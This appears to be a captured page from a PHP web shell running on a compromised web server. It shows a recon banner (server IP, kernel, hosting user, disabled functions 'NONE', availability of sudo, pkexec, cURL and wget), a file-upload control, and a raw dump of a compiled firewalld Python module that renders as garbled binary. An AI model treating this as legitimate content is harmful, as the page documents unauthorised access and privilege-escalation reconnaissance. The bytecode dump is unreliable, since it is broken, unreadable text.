| Server IP : 77.50.203.18 / Your IP : 192.168.0.10 Web Server : Apache/2.4.62 (CentOS Stream) OpenSSL/3.5.7 mpm-itk/2.4.7-04 PHP/8.4.23 System : Linux web2 5.14.0-722.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 6 09:07:51 UTC 2026 x86_64 User : warsnews.ru ( 1001) PHP Version : 8.4.23 Disable Function : NONE MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /lib/python3.9/site-packages/firewall/server/__pycache__/ |
Upload File : |
a
?\/i� � @ s� d Z g d�ZddlZddlZddlZddlZddlZddlmZ ddl m
Z
ddlmZ ddl
mZ ddlmZmZ dd lmZ d
d� Zdd
� Zdd� ZG dd� d�ZG dd� de�ZG dd� d�ZdS )z>This module contains decorators for use with and without D-Bus)�handle_exceptions�dbus_handle_exceptions�dbus_service_method� N)�
DBusException)�
FirewallError)�errors)�log)�FirewallDBusException�NotAuthorizedException)�
uid_of_senderc s t �� �� fdd��}|S )zTDecorator to handle exceptions and log them. Used if not conneced
to D-Bus.
c
sj z� | i |��W S t yL } z$t�t�� � t�|� W Y d }~n"d }~0 tyd t�� Y n0 d S �N)r r �debug1� traceback�
format_exc�error� Exception� exception)�args�kwargsr ��func� �>/usr/lib/python3.9/site-packages/firewall/server/decorators.py�_impl0 s z handle_exceptions.<locals>._impl)� functools�wraps�r r r r r r , s r c s&